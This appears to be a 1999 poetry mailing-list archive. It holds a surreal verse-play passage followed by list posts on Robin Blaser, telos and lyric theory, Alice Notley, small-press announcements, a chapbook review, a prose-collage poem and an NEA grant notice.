FLIP. When in doubt, wiggle less and breathe more!

ROWENA. This heat shrivels my Scottish bones.

The only water is this stinking green pond.

FLIP. Before using internally, or any other way,

see if your solution needs a good shake.

ROWENA. I hate you, Mr. Flippety Dick!

I can't forgive you for ruining the picnic.

Why did you kill that adorable tarantula?

FLIP. I will kill, and I will make to live.

I am the Dance of Shiva!

LILY. My friend Mrs. Pines, Mrs. Dora Pines,

saved string in boxes for forty-one years.

One morning she opened them all up

and hung herself.

ROWENA. O, the ugly passions of mankind, they poison me!

LILY. Dora Pines couldn't stand it,

the endless humdrumming next door,

not another minute.

FLIP. This is a poor excuse for a desert.

Where are the saints? Where are the slot machines?

LILY. Are we really on the right road to Gomorrah?

ROWENA. The last signpost said: Nirvana 25,000 miles.

LILY. I didn't want to come on this expedition.

But the Major is so determined.

Determined to establish her colony on sacred ground.

What are she and the doctor doing?

ROWENA<italic> (looking off).

</italic>The beasts! They're swatting!

They're swatting the tsetse flies!

FLIP. That sphinx we just passed in the sand-

I asked her a riddle.

LILY. Why do you talk to every girl you see?

You're just trying to break my heart.

Even my husband is more thoughtful of me than you are.

FLIP. Said I to the Sphinx, said I:

What is it that is born in a vacuum

lives in an air-conditioner

and dies in a doldrum?

LILY. I give up!

FLIP. Said the Sphinx to me, said the Sphinx:

'You gaseous lump,

how dare you ask me riddles!"

said the Sphinx to me.

LILY. The minx!

ROWENA<italic> (singing to herself).

</italic>So comely Maud has gone to her grave

for the sorry love of a sailor.

She hanged herself on the blackthorn bough

because her Johnny failed her.

Her cat of black, her golden finch

are friendless, left to grieve her.

And her Johnny Boy of the seven seas

is still a gay deceiver.

LILY. Flippety dear, I wish we were back in that dark cocktail lounge, sitting on that soft divan

with plenty of that hard liquor.

FLIP. All the girls I dream of

have names beginning with Ann.

Anima, Anemia, Angina, Anesthesia . . .

LILY<italic> (sighing).

</italic>O Man, where is thy sting?

SLIP<italic> (suddenly passionate).

</italic>When honey dripped from the trees

in the once-golden orchard of Man,

happily sucked they like bees

those sunlit children of Pan.

Like lions of love lived they

where gold apples over-ran,

juicily roaring at play

in the bedfellow Eden of Man.

<italic>[Enter MAJOR BEATRICE, followed by DOCTOR AGON. She is wearing mountaineering outfit, he is in mourning.]

</italic>MAJOR B. No, doctor, no! I haven't time to kiss you!

We are on a pilgrimage.

I need your science by my side,

not your whiskers in my face.

We must persist, or we are undone.

DR. A. All errors are the want of love.

The Wheel never breaks, the break never heals.

MAJOR B. I have a mission. Don't you?

Doesn't everybody have a mission?

Don't you believe that sublime affirmations

shine in the dark heart of the world?

DR. A. Beyond this emptiness is there any bright oasis?

Are Truth, Beauty, and Goodness

ever found where we look for them?

LILY. Major, I'm thirsty. Where are we?

MAJOR B. We're not there yet.

ROWENA. There's a salty smell. Mightn't Gomorrah be near?

DR. A. Sand. A pond of stinking water. A tombstone.

Looks like the kingdom of Ozymandias.

FLIP. Is hell even hotter than this?

MAJOR B. 'Thus saith the Lord,

the people which were left of the sword

found grace in the desert.'

DR. A. It is also said that if a pig is thrown into deep water,

when he tries to save himself from drowning

he cuts his throat with his own sharp hooves.

ROWENA. O Doctor Agon, how could you?

That dear little pig! You're a beast!

MAJOR B. Take heart, my brave pilgrims.

The first condition is:

make yourself humble as dust and ashes.

DR. A. Major of my dreams,

If I were not entranced by the tip of your nose,

I would be back home in my Guatemalan hammock.

MAJOR B. This is no time for fiddle faddle.

Look at that warped cloud!

DR. A. Must I surrender my attachment to the human creature and her 10,000 things?

LILY. When I was first married

my husband kept the cow in the bathtub.

He still keeps his tools in it.

DR. A. Maybe I could be of help, Mrs. Trump.

Here's my card.

MAJOR B. Doctor, you know what we are suffering from.

Why don't you help us?

LILY. There's a lot of it going around.

ROWENA. There's something wrong with the stars.

DR. A. There isn't any cure.

MAJOR B. There has to be!

FLIP<italic> (singsong).

</italic>Sippety syrupy sob,

the corn is off the cob.

Baba Yaga going gaga

cut off the balls of Bob.

<italic>[ROWENA shrieks.]

</italic>LILY. Falling, falling . . .

DR. A. The rain it raineth every day.

MAJOR B. Where falls the heavenly dew, to lave

the soiled black body in the grave?

LILY. Destruction!

ROWENA. Damnation!

FLIP. Disfigurement . . .

MAJOR B<italic> (beginning a blues song, which the others join).

</italic>It's gotten out of hand

It's coming down all around

It's falling out all over me,

I've got those radioactive, feeling inactive,

feverish fallout blues!

DR. A. My burning baby . . . .

MAJOR B. It's falling from above

but not from Heaven.

It's just coming down on me.

DR. A. . . . and me . . .

ALL. All over <italic>us! </italic>It's scandal-ous!

LILY. Ruin-ous!

ROWENA. Poison-ous!

FLIP. Igneous! . . .

MAJOR B. And I get the feeling I'm falling,

I'm falling out too . . .

DR. A. My fallen angel . . .

MAJOR B. I'm falling out with you.

DR. A. Then we're together . . .

DR. A. and MAJOR B<italic> (singing together).

</italic>I'm falling out-with-you.

MAJOR B. I'm falling out of love

I'm falling out of shape

I'm falling out of luck . . .

DR. A. I'm out of my mind . . .

LILY. Out of joint . . .

FLIP. Out of kilter . . .

ROWENA. Out of order . . .

DR. A. Out of the question . . .

MAJOR B. It's falling out-

of all proportion

and it's all coming down on me.

DR. A. . . . and me.

ALL. All over <italic>us! </italic>It's blasphem-ous!

LILY. Villain-ous!

ROWENA. Insidi-ous!

FLIP. Nucle-us!

MAJOR B. I've got those unattractive, overly active, damn hot fallout blues!

<italic>[End of song.]

</italic>FLIP<italic> (spoken).

</italic>I'm sick.

ROWENA. The poor dragonflies! O the rats and fleas!

DR. A. Death is the thing we carry in our hands.

LILY. Death is the thing I see in my mirror.

FLIP. Death is all right for the other fellow.

ROWENA. Death is the loiterer I do not trust.

MAJOR B. Where falls the heavenly dew, to lave

the soiled black body in the grave?

DR. A. Death is a womb, like sleep and dream.

MAJOR B. The seed, the seed, the renewing grace . . .

DR. A. Out of Death's blackened phallus

bursts a beauty of sunrise flower.

MAJOR B. Death is the beginning we fear to know.

FLIP. What's so great about staying alive?

ROWENA<italic> (singing).

</italic>The mountains are all looking down, down, down,

the fair lady Margaret to see,

how her devilish act did startle the town

when she hanged her two babes on a tree, tall tree . . .

LILY. My feet hurt. They're so hot.

MAJOR B. Take heart again, my pilgrims.

You have been humbled enough by dust and ashes.

Now arise. Rise to the uplift stair!

We have longer to go in the shortest of time

and there's no way out but up!

DR. A. How far will the Eternal Feminine

lead us eternally upward?

LILY. Will we get to a nice cocktail lounge?

FLIP. Will I have to put up with angels?

ROWENA. I want to see Gomorrah!

I want to see the bones of burning sinners!

MAJOR B. All that fails we witness and denounce.

So let us risk the only bliss that counts.

Come, take adventure! Let the sorrow go!

This wasteful desert is a passing show.

<italic>[She herds them off.]

</italic>

↑ Index

211. Billy Little responds ability
Thu 20 May 1999

because i am a funny man(forgive me for saying so) and Canadian poetry is some of the funniest poetry every, i thought i'd begin my examination of the marvelous production, Charles Watts and Ted Byrne and Talon Books have given us, The Recovery of the Public World, Essays on Poetics in Honour of Robin Blaser, with the Peter Quartermain essay The Mind as Frying Pan: Robin Blaser's Humour. Quartermain's main concern is with the sequence of poems The Truth is Laughter, which arises first in the book Syntax, which was in my thinking the book where he became a Canadian Poet, assimilating the powerful writing of Gilbert, Coleman, McCaffery and McFadden and the book where he gave up his perfectionism and jettisoned the residue of fear lingering from the operatic censure of his companions in San Francisco and began to let the poems flow through him without elaborate tinkering. I remember visiting Duncan soon after the launch of Syntax and saying Robin's finally said farewell to the poetry engraved in stone and Robert rightly saying: Is that what he said, or what you said." I had to laugh, he caught me. Quartermain says: The main drift of my argument is very simple indeed and really quite obvious. It goes like this: that Blaser is a very funny man, blessed (cursed) with great wit, a great sense of mischief, and a great outrage. That it is precisely through humour, through laughter(closely related as it is to the cough), that two realms can meet in this, the only world we've got. And the realms? the realm of the body, where as Allen Ginsberg reminds us we are simply meat talking to meat; and the realm of the spirit, also known as the world of the imagination, as deeply rooted into our historicised meat as is our body itself. Laughter--like other syncopes and interruptions of the breath such as the stutter--dissolves the dualisms of body and spirit, body and imagination, body and mind. An interjection of the body, laughter(like the cough) "shocks the cognitive apparatus in its brute reminder of organic experience"(Appelbaum,8), "deprives the body of its obedience to the mind"(Clement, 7) Laughter affirms our subjection to flesh and thus to time, momentarily negating the mind's life so that --as Blaser's poem puts it--"what's in it is neither true nor false." Laughter is essential to, indeed, quintessential of Blaser's "fundamental struggle for the nature of the real."

I might add if you know Blaser, you know his laugh, his unreserved cackle of delight which i would recognize in the hubbub of Bombay or at the World Series at Yankee Stadium.

Quartermain's essay, like Peter himself, is unassuming and wide-ranging, from the renaissance of Alberti, to the cyberworld of Wired, stopping off en route to collect the thought of Hobbes, Husserl, Pater, Mann, Stein, Williams, and Giorgio Agamben. Makes me sorry i never took a course with Peter. I'm hoping now that he's retired and has the opportunity to dance to his own piping maybe he'll offer one at the Kootenay School of Writing.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0

canadaddy
[redacted]

↑ Index

212. Linda Russo
The Third Voice of Telos
Thu 20 May 1999

> did you see what Linda Russo had to say about this telos business?
>
> yes, shall i read it?
>
> sure
>
> "Or maybe the 'telic goal' of poetry isn't telic at all, it's anti-telic: to make sure there's no 'no poetry' -- the way that the 'telic goal' of medicine is to stave off death?"
>
> well it sounds good but i wonder if simply switching the polarity of our terms is enough to make it an 'anti-telos' - look at her wording; "to make sure there's no 'no poetry'" - can't we cancel the double no and have the following "it's anti-telic: to make sure there's poetry" ? i have trouble seeing this as anti-telic as 'to make sure there is poetry' just as "to make sure there is no 'no poetry'" both sound like goals however general

I'm not sure, but maybe simply switching the polarity of our terms is a deconstructive move meant to destroy the binary being employed. And to say too that your logic (cancelling the double no) doesn't yield up another 'equal' formulation" no 'no poetry' doesn't = is poetry. Anti-telos does not mean "not telos" but "against telos" -- against the sort of suffocating closure of "making sure there is poetry" -- which sounds an awful lot like Pinsky's project, a canonization which works to the exlusion of certain poetries. . . That's why I prefer to make sure that there's no 'no poetry' . . . sort of like sustainable agriculture. The point isn't to make sure there's food (a quantifiable amount) but to make sure there's no 'no food,' that the potential for food is always there, unquantifiably. To see poetry as a realm of possibility rather than closure.

I think it's wonderfully rich that as you point out > that 'telos' is an ultimate end and 'telic' is NOT - 'having an ultimate end' - but - "tending toward an end"

telos is an ideal only. it's not a condition that we achieve but 'tend toward'. it's a kind of death, no? Like Pinsky's stupid dead poetry archive, clearly only meant for living people in relation to their impending death, to squelch their fear of inpending doom and insignificance -- get your fifteen seconds of videod fame & then you're history with a little h, your image stashed in some dusty archive that maybe will survive the nuclear or genetic holocaust & they'll look back on us and say 'look how clever' 'oh how they must have cared so using words' and 'look how many different shapes and sizes they came in.'

so, more or less accurate, your summary, till the end:

> and i think what she's getting at - or for the sake of argument here and now - i think what ~i'm getting at~ is that - if - there is an 'end' toward which poetry is directed it is as an intervention in a fucked-up world - but that concerning ourselves with an ultimate end isn't of much use - it's the limited ends - the 'this moment' needs that poetry addresses itself to limited ends? the this moment needs? sounds like a bandaid video archive. Not preservation but continuance.

↑ Index

213. Linda Russo

*Re: Lyric (s e n t i m e n t a l / which lyric ?)*

Thu 20 May 1999

Lowther wrote:
>Annie Finch writes; "I have located a crucial distinction between what i >call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy >where all revolves around the central eye) and what I call the "sentimental"
>lyric (multivoiced, multiviewpointed, objectifying the speaker as much as >the outside world)."
>
>and i think the distinction is quite probably useful >but i wonder at the choice of the term
>
> s e n t i m e n t a l
>
>my wonder tending to channel's like ;
>"who wd want to get saddled with that term?"

An equally puzzling is the idea . . .

> Useful though this it is [the distinction] --and to my mind, ESSENTIAL in constructing a coherent feminist poetics that spans centuries-- it gets lost next to the glitzier, cruder, and perhaps rather useless distinction between language poetry and lyric tradition.

What does it mean to construct a coherent feminist poetics that spans centuries? Could you elaborate a little here? A poetics is at a basic level, strategic -- so for centuries, feminists employ the same strategies? implying that they have the same goal? Coherent implies either 'it all sticks together/agrees' or it's all lucid, as opposed to being oppositional (even from within -- Woolf opposing feminist strategies) or at times confused or incoherent. I'm not sure why such a construction is so useful. It seems very exclusive. The idea that there _is_ an 'outside world,' to pick on one point in your definition, would seem to exclude all sorts of lyrics that don't erect that hurdle. I mean, what's the world 'outside' of? The poem? Language? Experience? And in distinguishing between the Romantic and Sentimental, what of the stuff that doesn't fit? Is it Other, i.e. not lyric? Maybe an unfair question, but, more accurately, why locate this particular distinction? (This obviously relates to its value to constructing a coherent feminist poetics).

↑ Index

214. Linda Russo
Re: NOTLEY on "the youth"....
Thu 20 May 1999

Hi Chris & others listening in. I've been thinking about your query re Alice Notley's comments in the COMBO interview ("They're these people between about 23 and 36 . . . They're not very political, and I wish they were more political").

You go on to equate the 'personal' in 'the personal is political' with 'love,' but I think you're mincing here, collapsing the 'personal' and 'love ' and therefore excluding a crucial issue of the very politics that might be at stake. In making a distinction I think I can talk to your query.

The political, and I think this holds for Alice, has always to do with the polis, not in the way that love might, or even in the sense of the potentially volatile issue of who we might choose to love publically, or how. The 'personal,' to be 'political,' has to engage with and be effected by the polis. In the feminist formulation, 'the personal is political' meant primarily that the private, the domestic, the 'female' experience too was _as_ political as the public experience, and it wasn't until the 'personal' experience of women (subjection, misogyny, etc.) were shown to _be_ political, to have everything to do with the workings of the polis, that the women's movement as a _political_ movement, could make any headway.

So the personal has as much to do with anger as it does with love, both overwhelmingly present in Alice's work. So I think when she points out the lack of politicalness, she is addressing the lack of attempting to change 'the way things are' in the polis and in poetry via how one experience power on a 'personal' level. This is evident for example her essay "Epic and Women Poets," which points out that there is something wrong with the polis, with the way it tells itself stories which exclude the possibility of women’ s stories, and that this has to change. She realizes these ideas in Desamere and Alette. Perhaps that’s what it means to be political: to think (essay) about a problem and try to solve it (poem). Writing essays, editorial matter, and prefaces has always been a part of Alice’s poetic practice. I think she might say that editing _Chicago_ while she was pregnant was a personal _and_ political choice. Maybe _just_ writing poetry, in her mind, isn’t political enough? But maybe the choice to write poetry is always political, but the politics (now) aren't as visible as they were say, in the 70s, when she was in/against the context of the women's movement, and those political issues were heightened.

you write that you're > interested in looking for other ways to frame this question,
> because i respect and admire notley's poetry,
> and her desire for a return perhaps to a more blatant concern
> with politics on a content level,
> a moving beyond coterie politics,

and perhaps bringing in this context frames it helpfully, I hope?

↑ Index

215. Brian Lucas (Kelly Services Inc)
FW: Angle #5 is Available
Thu 20 May 1999

"The Ronald Johnson Issue"

Featuring work by: Charles Smith, Patrick Monnin, Guy Davenport, Marcella Durand, Patrick Pritchett, Theodore Enslin, Jonathan Williams, Avery E.D. Burns, Peter O'Leary, Adam Cornford, Paul Metcalf, Joel Bettridge, John Taggart, Andrew Schelling, Anonymous

Also: the typescript of one of Johnson's last poems, as well as Peter O'Leary's "translations" of the poem from the typescript, as well as one other.

Cost: $4 (incl. postage)

Checks payable to: Brian Lucas

Angle
PO Box 220027
Brooklyn, NY 11222-0027

To the contributors: your copies are being sent out this week

Thanks!

↑ Index

216. A H Bramhall
poet lariat
Thu 20 May 1999

ignore the name above, this is Robert Pinsky speaking. I want to thank you all for falling into my telos. you didn't notice my telic grasp because you were busy problematizing your affairs while I went directly to the Love&Fame Market and earned my fare Uptown. the race is on and I am way ahead. sorry to gloat. please accept this stirring message as my attempt to bridge the ever-widening gap:

poetry can only be as good as the people who make it.

friends, we need not be enemies. I think it was William Carlos Williams, the Dr/Poet of Paterson, who said something like: we don't need poetry half as much as poetry needs us. by utilizing all our energies we can make something happen. what do you say, gang, can we work together? we'll leave baseball as the National Pastime while we concentrate on making more great poems for the common good.

sincerely,
R Pinksy, official PL of the US of A.

↑ Index

217. Randy Prunty
Re: Disruption, Parameters etc reread this a couple more times and nothing here to argue with or expand. so, though it may be boring, i agree with the logic and progression of your ideas. the quoted part below charges me up!
Thu 20 May 1999

<<? but is Lakoff describing a fait accompli or discussing the motivation for a work of art ? has everything really already been done ? how cd this be ? and if it was the case how cd we know ? what wd assuming such to be the case leave us with ? or rather, what use is there for an analysis that says ~the history of art is arguably over~ ? wd it remove all anxieties about one's place relative to tradition ? (what if you weren't anxious ? cd you hang onto history then ?)>>

↑ Index

218. P.Standard Schaefer
the basics
Thu 20 May 1999

Rhizome, however, is still looking for people to help flesh out the review section for the next issue. Essays or book reviews. Books I'd especially like reviewed would be Aaron Shurin's SELECTED, Jessica Grimm's FRAY, Michael Davidson's THE ARCADES and Jena Osman's highly disruptive THE CHARACTER. Now, obviously there's no fear of controversy in Rhizome. If you got something to say, here's your chance. And if you just want to advocate for a book that you care about, here's your chance. I think there's room for something to be said about Martine Bellen's TALES OF MURASAKI as well.

↑ Index

219. Billy Little
Re: Death of James Broughton
Thu 20 May 1999

---

a beautiful man James Broughton, he was America's Cocteau, if you have the opportunity to see any of his movies, pay double they're worth it, Lukas would die of shame to see what beauty James created for so little.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]

↑ Index

220. Angela Romagnoli
Re: POETICS Digest - 18 May 1999 to 19 May 1999 (#1999-97)
Thu 20 May 1999

Can anyone backchannel to me Cole Swenson's email address?
thanks much,
camille roy

↑ Index

221. Steven Marks
Review of "26 Islands"
Thu 20 May 1999

---

26 Islands
by Dan Featherston

primitive publications
1706 U Street, #102
Washington, DC 20009
Mary Hilton, Editor
[redacted]
cost: $4.00

Dan Featherston's "26 Islands" is a contemporary abecedarius, a primer which demonstrates far more than the moral instruction and alphabet learning of the traditional model. Put simply, Featherston's 26 verses expose the working out of the relationships between language and the reality of perception, conception and power, especially in a situation where a foreign language supplants a native language. At the same time, he shows how language cannot help but adapt to the consciousness of living on an island, as well as to the events of history. The fourth verse, "D is for Doorways," is a particularly strong evocation of these relationships. Here is the entry in its entirety:

D is for Doorways

like sail's swath, cloud scud & dawn

horizon's first fiction:
circumference.

On an island surrounded by an ocean, we are far more acutely aware of circumference and its instances -- the swath cut by a sail at sea, clouds scudding at the edge of the sky-bowl, and dawn emerging into the frame of now -- all of which happen on a more apparently 360-degree horizon. The horizon seems to mark the farthest extent of what we know, so that what lies beyond is fiction, a doorway to what we don't know, to realities we will express in language. So, horizons make for stories, language-events, fictions. But this circumference is also another type of fiction. The native Hawaiians' reality did not stop at their horizon -- not in their past, not in the years of colonization, not now. This fiction, however, is an accepted reality necessary for the work done under the rubric of "the white man's burden," of colonization. What can an inferior language, composed of what the missionaries deemed as only the five vowels of English and seven of its consonants, express that the 26 letters of the conquering language can say so much better? One of the many ironies in Featherston's chapbook is that it contains an excess of fourteen letters, one of which is the "D" whose entry is cited above. Nevertheless, even within the reality of an alien letter, Hawaii and its first language adhere. This is readily apparent in the sixth entry, "F is for Fathom":

Every picture book shows a hero suckled by porpoises.

In "fathom"
swarms of teeth & fins.

In this verse, we begin with the European, colonial view in which primers introduce young readers to the heroes of its culture, indeed to a culture (like many) in which heroes, exploration and conquest play a large role. But the next line introduces what could be a native, folkloric element, certainly something more likely to be in the realm of island dwellers and only a story (or fiction) from some place far away to dwellers in European countries. The result is that "fathom," an English word comprised of t's and f's not found in the Hawaiian alphabet, is defined not as a linear measurement of depth, but as "teeth & fins" (t's and f's) native to the islands, without losing any sense of depth and wonder.

This is only a small example of what Featherston's chapbook treats. As a ghostwriter myself until recently of business books, I have some inkling of what it feels to have language stolen from me. What is interesting, as I continue a project in which I cut up and collage the books I ghostwrote, is that I can use the imposed language of supplier certification, quality control and teamwork to decenter itself. In "26 Islands," Featherston shows just how empowering this can feel.

↑ Index

222. Kevin Magee
Re: SUKIE AT THE DIA
Thu 20 May 1999

CHUCK PIERCE PRAGMATIX

He usually get in, when you come in, if me and a white guy called Cleveland, he knew what he got going already before he got to Cleveland, like some of the guys don't even come in and take off in Cleveland, they come in, they drop, they hook up and they gone with a load. When I come in I got to come in and go home, then the other guys are gone, you take what he put down there, he gives you what's left, if a guy is going to California and you got a Toledo that looks crazy if you got in first before him, I was about a mile or male behind him because I was loaded more heavy than he was and we was coming across 80 and I heard him say shotgun, he went down, he said he is turning around, I think he got me, you got me there, we were all sitting around talking, I don't know if they said the same thing, I'm not sure on the date, I didn't finish, I dropped out in the 11th grade, same as Hart Crane, I went to this spot labor job, the Standard Sign Company somewhere on East 65th, when you got to the Standard Sign Company we were unloading aluminum off this truck and stacking it in piles, and this was all three of you doing that and during the course of your work, this guy walks up to me and accuses me of taking his ring, he came up to you and asked you about a ring, what were the words that were said, "Why did you take my ring." "I didn't take it." "What are you talking about." We continued working when you saw him again, what were you doing, I was relaxing, we had finished the second load of steel and the driver was getting ready to pull out and I'm smoking a cigarette, looking the other way, at the truck drivers, sitting down on a pile of this aluminum, what happened then while I'm looking the other way I hear a scream and look and just see acid coming at me and that's it, I just jumped and looked behind me and see him with a bucket jumping and I just jumped up in a lot of pain just thinking cold water and didn't know where I was in the Plant I ran out to the street and across the street to find some help in the street and went into this diner and asked people in there to help me, I said, "I got acid throwed on me," and the people just sat there and looked at me on my neck and face I had some in my eyes getting tight on me translating the image into a product of divided labor, class divisions recombining images of the everyday, Rodchenko's Pure Red-Yellow-Blue Color (1921) come into conjunction with the calendar and given a date as a bricklayer would, brick by brick, a bookshelf with 500 copies of the same unread book, this work has been painted in blue letters on a high brick wall in Vlake, Zuid-Beveland, separation and transition, color photos taken in the years 1965-69, expression of structure and program and truth to materials and built a ghost of the circa 1800 romantic rustic hut, interior atriums eliminating the threat of crime and drugs punctured urban into itself the light and sky in the glass I did, Body Press a man and a woman buck naked, holding a camera against their bodies and mapping their bodies outside painting, the boundary-marker of a point a pen the date on which the painting was made, ONE SLAB PUT TOP TO BUTT OF ANOTHER SLAB SET ABOVE ANOTHER SLAB SET TOP TO BUTT the writing or lettering of a date is real, it took place at some time at the same time speaking about slabs put next to each other, the slow smooth movements of a big boat on water, more than a simple classical temple, as a model, the hut, a shelter, an absolute elemental base, an Enlightenment myth, the original derivation of its column from a tree, Abbé Martin-Mark Heiddegger's rustic hut proposed in 1775, two equal framed glass structures, social openness of window glass, Goethe-Gober's Wedding Gown looks dangerous, sealed by an Eternal Bliss ring, history attached to circuits or disks disappearing in the rain like pieces of children, sounds of the train across the lake work about building in its most basic state, the primitive hut a pivotal work, industrial construction, a silver metal freight elevator door, standard aluminum roll-up doors, the conspicuous sign that identifies it through spelling, color, mass, and movement in one form or another Cadmium + Mud bluish white produces a brilliant blue yellow or red concrete contains iron chrome event named on a date, July 14, 1789 Bastille Day white used in painting light on stone, siting in the allée the real and not an illusory sky documenting the changing image of a painting repainted over and over too simple to name, cars and trucks, tables and chairs, an industrially produced toy, the kind of painting thrown into crisis by photography Works (Hamburg: Anatol Av and Filmproduktion, 1977), that the buildings not block the lake view, Braque produced a few landscapes, Malevich developed the social ontology of painting like icon painting and state allegory and the epistemological break Werke & Rekonstructionen (Bern: Kunsthalle Bern, 1983), Caravaggio fucked the structure of action, atmosphere, turbulence and massiveness in the 1940s fused with the need for the new expression of new moods, a new epic-lyric art, phonetic massiveness of affect, a new form of culture, there is a moment around 1930 when Walter Benjamin and Ruth Berlau spoke a couple of words lovingly about photography in the Svenborg garden, "repetition serializes energies of movement and interaction 'narratology' the open situation condition boundary and the dilemma becomes the foundation," the Berliner Ensemble a group exhibition known as the Xeroxbook, a giant coffee cup, Mom & Pop Art and super-graphics glass is reflective glass with steel supports intrusion of a personally expressive touch that might be traceable to the hand of an artist at the Wide White Space Gallery in Antwerp Ulrich Rückriem's Collection Public Freehold designated as belonging in the common domain, Words and Word Works (4 pages), the case of the corner with tallow and prolong the deep olive and monolithic polished dark gray granite, the plain brown-red brick wall, the black graphite surfaces framed within another reading of tradition his installation Zeige Deine Wunde (Stage Your Wound) and socio-psychological interaction diagonally bisected by a concrete wall, the unadorned masonry walls and metal panel railings complex and simple, open and closed, big and little, ugly and ordinary denotative meanings more or less concrete association and past experiences introducing enormous structures into new public spaces, art-social centers open 24 hours, a six-foot-diameter cylinder of glass with a clear glass ceiling official spaces "housing" is just another expression for a love that is socially hidden, forbidden, denied, and this is the only agreement between the antagonists: the dates, dates on the paintings and on the boxes shipping the paintings anything historical appearing as an image in art apartment buildings at Kevin Magee 1075 East 74th Street #206 inner city Cleveland, my furniture, companion pieces, the $95 oak worktable from Berkeley whose three foot by six foot measurements I wrote about in a letter to Norma quoted in "The Comedian as the Letter M," and a soft fir or pine cabinet the previous tenant left behind after he got his Guggenheim, Kevin Evans' crate, EAGLE TRANSFER CORPORATION / REF: A-6138 - THE BLACK MALE EXHIBITION / CASE NO. 28 - MEASURES: 59" X 34" X 34" (HxLxW) - (149.86 X 86.36 X 86.36 CM.) CONTAINS: OBJ. #21 . . . MANSFIELD, OHIO, END TABLE, 1994 / KEVIN EVERSON / FRAMED SILVER GELATIN PRINT AND WOOD 20" X 24" X 24" / OBJ. #22 . . . MANSFIELD, OHIO, END TABLE, 1994 /

KEVIN EVERSON / FRAMED SILVER GELATIN PRINT AND WOOD 20" X 24" X 24" / EX. WHITNEY MUSEUM OF AMERICAN ART / NEW YORK, NEW YORK glass and steel towers sited across from Lake Erie steel support glass makes for a modular rhythm, the raised platform, staircase, revolving curved panel of glass confusing concept with reality, the vitreous surfaces in Spiegelsaal by François de Cuvillies (1695-1768) a future that's reachable no matter how far away he watched his lover's body being dragged from the Seine, Tasso's washerwoman, model boats in skeins of paint swoop through a sea, little boat to be of gold in skeins of diamonds on exhibit in revolutionary plazas, public meeting areas on the front facade, streetscape, street facade exposure, the brutalism comes from its rough-tough texture, civic monumentality, tremendous scale, the City opposed to the Individual Being or Building, the use of an obviously twentieth-century grid section to represent the former existence of a house, a ten-sided Spiegalsaal or hall of mirrors connecting the king to the mythology, a wall with a large Warhol painting in Pittsburgh of Elvis Presley opens them up to the future again an open work of long curving strokes, rays as would strike the eyes of those who see her cross-legged in plan and section fifty feet by fifty feet by fifty feet (ten feet by ten feet by fifty feet) fourteen feet high by thirty feet long by twenty feet wide, twenty-eight feet by seventy-eight feet, an open plan, free of interior columns, freestanding walls, white painted steel the brick floor and round brick core, the use of brick in his patterns a socialist view who sees individual buildings as simply useless artificial light of nighttime posing himself as the bride in commercial photo shoots, frame G. in his wedding dress (film still from Paris Is Burning, 1991) two rooms divided by sound-insulating glass Square Room Diagonally Divided seven-and-a-half-foot square sections, I have reintroduced an element of vernacular architecture (reflective glass, steel, etc.) (minimal construction, abstraction, etc.) (decorated sheds, signs, etc.) 4000 blue work uniforms folded and stacked the framework, the interior frieze of George Elmslie's Woodbury County Courthouse in Sioux City, Iowa (1917) to create a special date, a sacred date, that the possiblity of there even being a first date when the only festival is that of its site here, a bluff or hill overlooking the Sioux River, Iowa-South Dakota the paysan promise-space and experience of the immigrant's secret brought about by repetitive labor, fieldwork and piecework, 750,000 pennies on a corn husk the mare/mer link in Romance languages, coarseness, silkiness, and strength of the hair the golden-haired Margarete and ashen-haired Shulamith, your hair played like a lyre or straw into gold cotton, flesh, steel, Donne's bracelet, eros phobias are permeation the sound of a voice holiness or grace as coming into a receiving of light and turn to it, follow this voice, material interiority the modeling "these walls have a story to tell" each day, and each day he letters the date of his mars the monochrome indigo blue in fairy tales between the painting of Execution in 1867 and Guernica in 1937 these are the words I thought I heard coming from outside scattering and inferring and assembling the resolution of this dilemma that is a ritual whose staging takes place on the stage of the final theater built by the avant-garde.

20.5.99
for lynn and alan

↑ Index

223. Ron Silliman
Art projects for trails
Fri 21 May 1999

[Federal Register: May 17, 1999 (Volume 64, Number 94)]
[Notices]
[Page 26792]
From the Federal Register Online via GPO Access [wais.access.gpo.gov] [DOCID:fr17my99-85]

==========

NATIONAL FOUNDATION ON THE ARTS AND HUMANITIES

Cooperative Agreement for Arts Projects on Millennium Trails

AGENCY: National Endowment for the Arts.

ACTION: Notification of availability.

SUMMARY: The National Endowment for the Arts is requesting proposals leading to the award of a Cooperative Agreement to conduct a project which will support 52 high quality, community-centered arts projects along the 52 Millennium Legacy Trails that the US Department of Transportation will designate in each of the 50 states, Puerto Rico, and the District of Columbia. Available funding is $520,000, which must be matched on a one-to-one basis. Responsibilities of the recipient of the Cooperative Agreement will include: preparation and distribution of application guidelines; overseeing the review and selection process; providing guidance and structure to each project; as well as monitoring all stages of each project. Eligibility to apply is limited to non-profit organizations [501(c)(3), college or university, or unit of state and local government]. Applicants for this Cooperative Agreements > mut have previous experience in working with relevant organizations and agencies, such as national cultural service organizations, national trails organizations, state/local arts agencies, state departments of transportation, and state and local trails organizations. Those interested in receiving the solicitation package should reference Program Solicitation PS 99-04 in their written request and include two (2) self-addressed labels. Verbal requests for the Solicitation will not be honored.

>
> DATES: Program Solicitation PS 99-04 is scheduled for release approximately June 4, 1999 with proposals due on July 12, 1999.
>
> ADDRESSES: Requests for the Solicitation should be addressed to the National Endowment for the Arts, Grants & Contracts Office, Room 618, 1100 Pennsylvania Ave., NW, Washington, DC 20506.
>
> FOR FURTHER INFORMATION CONTACT: William Hummel, Grants & Contracts Office, National Endowment for the Arts, Room 618, 1100 Pennsylvania Ave., NW, Washington, DC 20506 (202/[redacted]).
>
> William I. Hummel, > Coordinator, Cooperative Agreements and Contracts.
> [FR Doc. 99-12290 Filed 5-14-99; 8:45 am]
> BILLING CODE 7537-01-M
>
> --- from list [redacted] ---
>
> ---
>
> Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

224. Stephen Ellis
Re: NOTLEY on
Fri 21 May 1999

LR - What you're calling politics is, as you say, "less visible" as an activity because it's being funded off the boards, out of public view, by conservative think-tank money. We live in an increasingly monadic society, regardless we may prefer to characterize it as "plural". Our culture is god-culture in disguise, excused by a sort of virtual inter-connectedness that in fact is non-existent (just try talking to those who say this just ain't so ...); freedom of choice is mostly at this point just another eschatological hope, and you know where they've gotten us in the past, the past itself, of course, being a highly sheltered and perpetually slaughtering swarm, the human body lately also, an open Roman sewer certainty, guaranteed by the increasingly tightened "rule of law" much on the airwaves in recent months.

